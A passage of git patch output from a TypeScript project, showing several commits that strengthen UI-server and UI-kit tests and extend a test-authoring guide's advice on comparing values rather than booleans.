}); hono.get("/api/graph/meta", c => { reads.push("graph"); return c.json({}); }); hono.get("/api/activity/stats", c => { reads.push("activity"); return c.json({}); }); + for (const path of OTHER_READERS) hono.get(path, c => { reads.push(path); return c.json({}); }); return { batch, hono, reads }; } +// Every other host route that reads the index, named here rather than taken +// from INDEX_READ_ROUTES, so a route dropped from the barrier fails the test. +const OTHER_READERS = ["/api/brain/list", "/api/brain/stats", "/api/brain/stats/history", "/api/brain/briefing", "/api/graph/clusters"]; + test("index read routes run only after the queued update completes", async () => { const { batch, hono, reads } = app(async paths => { reads.push(`index ${paths.join(",")}`); }); batch.queue(["notes/scheria.md"]); @@ -43,3 +48,14 @@ test("a failed update answers 503 index_stale, runs no read, and is retried by t expect((await hono.request("/api/brain/search?q=Nausicaa")).status).toBe(200); expect(reads).toEqual(["activity", "search"]); }); + +test("every index read route waits for the update queued before it", async () => { + const { batch, hono, reads } = app(async paths => { reads.push(`index ${paths.join(",")}`); }); + const expected: string[] = []; + for (const [n, path] of OTHER_READERS.entries()) { + batch.queue([`notes/landfall-${n}.md`]); + expect((await hono.request(path)).status).toBe(200); + expected.push(`index notes/landfall-${n}.md`, path); + } + expect(reads).toEqual(expected); +}); From 571931b1558462cf554f0c33a18f7d577fd16f44 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:55:01 +0100 Subject: [PATCH 243/252] docs(test-authoring): S4 names the boolean-over-a-collection shape The ui-server push fixed opaque-failure in more than twenty places, almost all of them expect(list.every(...)).toBe(true) or expect(list.some(...)).toBe(false). S4's example did not show that shape, which also passes vacuously on an empty list. Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#14 --- docs/process/test-authoring.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/docs/process/test-authoring.md b/docs/process/test-authoring.md index deebe267ee..03eba41622 100644 --- a/docs/process/test-authoring.md +++ b/docs/process/test-authoring.md @@ -96,7 +96,12 @@ test("the date field shows the parsed date and refuses an unparseable one", asyn `self-comparison`. - **S4. Compare values, not booleans.** `expect(island).toBe("Ithaca")`, not `expect(island === "Ithaca").toBe(true)`: the failure should print both - sides. Prevents `opaque-failure`. + sides. The same goes for a predicate over a collection: + `expect(crew.every(c => c.rowed)).toBe(true)` hides which sailor failed and + passes on an empty crew. Map or filter to values instead, + `expect(crew.filter(c => !c.rowed)).toEqual([])` or + `expect(crew.map(c => c.name)).not.toContain("Eurylochus")`, and pin the + size when an empty collection would be wrong. Prevents `opaque-failure`. - **S5. The expected value does not come from the code under test.** Write it as a literal or derive it independently. A test that resolves the same tokens the component paints with proves wiring and nothing else. Prevents From 2010b91c450ab1d34401fa6e8defd078551740ee Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:57:41 +0100 Subject: [PATCH 244/252] test(ui-server): pass the required list limit in the bridge-host inbox listing Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#8 --- packages/ui-server/tests/integration/inbox-bridge-host.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/integration/inbox-bridge-host.test.ts b/packages/ui-server/tests/integration/inbox-bridge-host.test.ts index d9e829ca80..615dfbaffc 100644 --- a/packages/ui-server/tests/integration/inbox-bridge-host.test.ts +++ b/packages/ui-server/tests/integration/inbox-bridge-host.test.ts @@ -24,7 +24,7 @@ test("the authenticated app attaches durable tools to the live turn bridge and r void proof.catch(() => {}); const backend = makeFakeBackend({ id: "fixture", startTurn: async req => { try { - const listed = await req.bridge.inboxList!({ view: "queue" }); + const listed = await req.bridge.inboxList!({ view: "queue", limit: 50 }); expect(listed.items.map(item => item.id)).toEqual(["arrival"]); expect(listed.threads).toMatchObject([{ id: "share", trustClass: "untrusted" }]); const read = await req.bridge.inboxGet!({ itemId: "arrival" }); From 2586f4af3c1c99b3ca3770f340517c64abe8f5e1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:57:41 +0100 Subject: [PATCH 245/252] test(ui-server): type the schema-contract community check without an undefined argument Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#32 --- .../tests/integration/brain-db-schema-contract.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/integration/brain-db-schema-contract.test.ts b/packages/ui-server/tests/integration/brain-db-schema-contract.test.ts index f45af3707b..e65c09ff8c 100644 --- a/packages/ui-server/tests/integration/brain-db-schema-contract.test.ts +++ b/packages/ui-server/tests/integration/brain-db-schema-contract.test.ts @@ -172,7 +172,7 @@ describe("graph reader returns real content from a core-indexed corpus", () => { expect(plan?.pagerank, DRIFT).toBeGreaterThan(0); // The node's community is one the meta lists, not merely present. const communities = getGraphMeta(graph, { brainPath }).communities.map((c) => c.community); - expect(communities, DRIFT).toContain(plan?.community); + expect(communities, DRIFT).toContain(plan?.community ?? -1); expect((plan?.inDegree ?? 0) + (plan?.outDegree ?? 0), DRIFT).toBeGreaterThan(0); expect(clusters.edges.length, DRIFT).toBeGreaterThan(10); }); From fcc7f99cea78be689afcd744c2a0bb1fd0741bae Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 01:02:19 +0100 Subject: [PATCH 246/252] test(ui-kit): test-health batch e3855-ui-kit-04 (#3875) * test(ui-kit): fixture invariants assert on a nonempty input and name what fails Test-Health: th-20261110163815-cd4f39#5 * test(ui-kit): print theme opening is compared as text, not a boolean Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163815-cd4f39#8 * test(ui-kit): the hygiene card busy label is asserted present, not only the default absent Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163815-cd4f39#33 * test(ui-kit): restored transcript evidence draws its own glyph Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163815-cd4f39#34 * test(ui-kit): the ghost sweep requires one snapshot per masked window Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163815-cd4f39#2 * test(ui-kit): hygiene card overflow compares widths, not a boolean Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163815-cd4f39#4 * test(ui-kit): live Interrupt must be drawn while brain is speaking Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163815-cd4f39#11 * test(ui-kit): composer caret compares the typed tail, not a boolean Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163815-cd4f39#23 * test(ui-kit): persona radio group is driven with the arrow keys it claims Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163815-cd4f39#32 --------- Co-authored-by: Claude Opus 5.5 --- packages/ui-kit/stories/voice/Live.stories.tsx | 8 +++++--- packages/ui-kit/stories/voice/Start.stories.tsx | 8 ++++++++ packages/ui-kit/tests/fixtures.test.ts | 16 +++++++++++----- packages/ui-kit/tests/hygiene-card-copy.test.tsx | 6 ++++-- packages/ui-kit/tests/print-theme.test.ts | 3 ++- .../ui-kit/tests/transcript-qualifiers.test.tsx | 3 +++ .../tests/visual/composer-caret.visual.tsx | 2 +- .../ui-kit/tests/visual/ghost-sweep.visual.tsx | 2 ++ .../tests/visual/hygiene-review.visual.tsx | 2 +- 9 files changed, 37 insertions(+), 13 deletions(-) diff --git a/packages/ui-kit/stories/voice/Live.stories.tsx b/packages/ui-kit/stories/voice/Live.stories.tsx index bd82dfbb18..3c37ade989 100644 --- a/packages/ui-kit/stories/voice/Live.stories.tsx +++ b/packages/ui-kit/stories/voice/Live.stories.tsx @@ -28,9 +28,11 @@ const TALL: LiveId[] = ["L1", "L1d", "L1u", "L1o", "L2", "L3", "L4", "L4d", "L5" /** Interrupt is live only while brain is speaking (L4, with or without a draft). */ async function interruptOnlyWhileSpeaking(canvas: ReturnType, id: LiveId) { const interrupt = canvas.queryByRole("button", { name: "Interrupt" }); - if (!interrupt) return; - if (id === "L4" || id === "L4d") await expect(interrupt, "Interrupt only while speaking").toBeEnabled(); - else await expect(interrupt, "Interrupt only while speaking").toBeDisabled(); + if (id === "L4" || id === "L4d") { + // While speaking the control must be there: a missing one is not "live". + await expect(interrupt, "Interrupt is drawn while speaking").not.toBeNull(); + await expect(interrupt, "Interrupt only while speaking").toBeEnabled(); + } else if (interrupt) await expect(interrupt, "Interrupt only while speaking").toBeDisabled(); } /** The controls row's accessible names, left to right. */ diff --git a/packages/ui-kit/stories/voice/Start.stories.tsx b/packages/ui-kit/stories/voice/Start.stories.tsx index 651f0b2e0d..5aeba7b7ae 100644 --- a/packages/ui-kit/stories/voice/Start.stories.tsx +++ b/packages/ui-kit/stories/voice/Start.stories.tsx @@ -135,6 +135,14 @@ export const PersonaKeyboard = meta.story({ const steward = canvas.getByRole("radio", { name: /Ithaca steward/ }); await expect(steward).toHaveAttribute("tabindex", "0"); await expect(canvas.getByRole("radio", { name: /Standard/ })).toHaveAttribute("tabindex", "-1"); + // The arrow keys move through the group and wrap at either end. + steward.focus(); + await userEvent.keyboard("{ArrowDown}"); + await expect(canvas.getByRole("radio", { name: /Harbour storyteller/ }), "ArrowDown moves to the next persona").toHaveFocus(); + await userEvent.keyboard("{ArrowDown}"); + await expect(canvas.getByRole("radio", { name: /Standard/ }), "ArrowDown wraps to the first").toHaveFocus(); + await userEvent.keyboard("{ArrowUp}"); + await expect(canvas.getByRole("radio", { name: /Harbour storyteller/ }), "ArrowUp wraps to the last").toHaveFocus(); }, }); diff --git a/packages/ui-kit/tests/fixtures.test.ts b/packages/ui-kit/tests/fixtures.test.ts index 879aefe63a..5619f024ef 100644 --- a/packages/ui-kit/tests/fixtures.test.ts +++ b/packages/ui-kit/tests/fixtures.test.ts @@ -260,9 +260,9 @@ describe("cross-references", () => { projects.goal.path, ]); const doc = notes.viewerDocument; - expect(known.has(doc.note.path)).toBe(true); + expect([...known]).toContain(doc.note.path); for (const para of doc.paragraphs) { - if (para.link) expect(known.has(para.link)).toBe(true); + if (para.link) expect([...known]).toContain(para.link); } for (const q of doc.questions) expect(q.state).toBe("todo"); @@ -285,7 +285,7 @@ describe("cross-references", () => { test("every note tag is in the world's tag vocabulary", () => { expect(notes.notes.flatMap(note => note.tags).length).toBeGreaterThan(0); const vocabulary = new Set(notes.tags); - for (const n of notes.notes) for (const t of n.tags) expect(vocabulary.has(t)).toBe(true); + for (const n of notes.notes) for (const t of n.tags) expect([...vocabulary]).toContain(t); }); }); @@ -404,12 +404,14 @@ describe("reserved identifiers only", () => { (await fixtureSources()).map(([, text]) => text).join("\n"); test("every phone number is in the 555-01xx block", () => { + expect(people.people.filter((p) => p.phone !== null).length, "some person has a phone").toBeGreaterThan(0); for (const p of people.people) { if (p.phone !== null) expect(p.phone).toMatch(/^555-01\d\d$/); } }); test("every email is on example.com", () => { + expect(people.people.filter((p) => p.email !== null).length, "some person has an email").toBeGreaterThan(0); for (const p of people.people) { if (p.email !== null) expect(p.email).toMatch(/@example\.com$/); } @@ -466,9 +468,13 @@ describe("DataTable column widths are pixels, not percentages", () => { test(`${name}: widths do not sum to 100 with every column pinned`, () => { const pinned = columns.filter((c) => c.w !== undefined); - if (pinned.length !== columns.length) return; const total = pinned.reduce((a, c) => a + (c.w ?? 0), 0); - expect(total, `${name} widths sum to 100 — these look like percentages`).not.toBe(100); + // A partly pinned table cannot be the percentage mistake, so only a fully + // pinned one may not sum to 100; the assertion runs either way. + expect( + { everyColumnPinned: pinned.length === columns.length, total }, + `${name} widths sum to 100 — these look like percentages`, + ).not.toEqual({ everyColumnPinned: true, total: 100 }); }); } }); diff --git a/packages/ui-kit/tests/hygiene-card-copy.test.tsx b/packages/ui-kit/tests/hygiene-card-copy.test.tsx index 62010e5998..c89862065a 100644 --- a/packages/ui-kit/tests/hygiene-card-copy.test.tsx +++ b/packages/ui-kit/tests/hygiene-card-copy.test.tsx @@ -36,6 +36,8 @@ test("caller copy replaces only the states it names, as inert text", () => { test("the busy label is caller copy too, with the file default kept", () => { expect(renderToStaticMarkup(), "HYGIENE_CARD_FILE_DEFAULT_BUSY").toContain("Applying… checking the file first"); - const html = renderToStaticMarkup(); - expect(html, "HYGIENE_CARD_CALLER_BUSY").not.toContain("checking the file first"); + // Distinct state text and busy label, so the label can only come from busyLabel. + const html = renderToStaticMarkup(); + expect(html, "HYGIENE_CARD_CALLER_BUSY").toContain("Removing… checking the worktree first"); + expect(html).not.toContain("checking the file first"); }); diff --git a/packages/ui-kit/tests/print-theme.test.ts b/packages/ui-kit/tests/print-theme.test.ts index ceef12e23d..0bcf093182 100644 --- a/packages/ui-kit/tests/print-theme.test.ts +++ b/packages/ui-kit/tests/print-theme.test.ts @@ -85,7 +85,8 @@ describe("print theme", () => { test("printThemeCss sets every token on :root, in light colour-scheme", () => { const css = printThemeCss(); - expect(css.startsWith(":root{color-scheme:light;")).toBe(true); + const opening = ":root{color-scheme:light;"; + expect(css.slice(0, opening.length)).toBe(opening); for (const [name, value] of Object.entries(PRINT_TOKENS)) expect(css).toContain(`--bk-${name}:${value};`); }); }); diff --git a/packages/ui-kit/tests/transcript-qualifiers.test.tsx b/packages/ui-kit/tests/transcript-qualifiers.test.tsx index fbd182a0c4..0cd0f5192d 100644 --- a/packages/ui-kit/tests/transcript-qualifiers.test.tsx +++ b/packages/ui-kit/tests/transcript-qualifiers.test.tsx @@ -9,6 +9,9 @@ test("server rendering keeps unknown evidence honest without browser APIs or exp expect(html).not.toContain('aria-live'); expect(html.match(/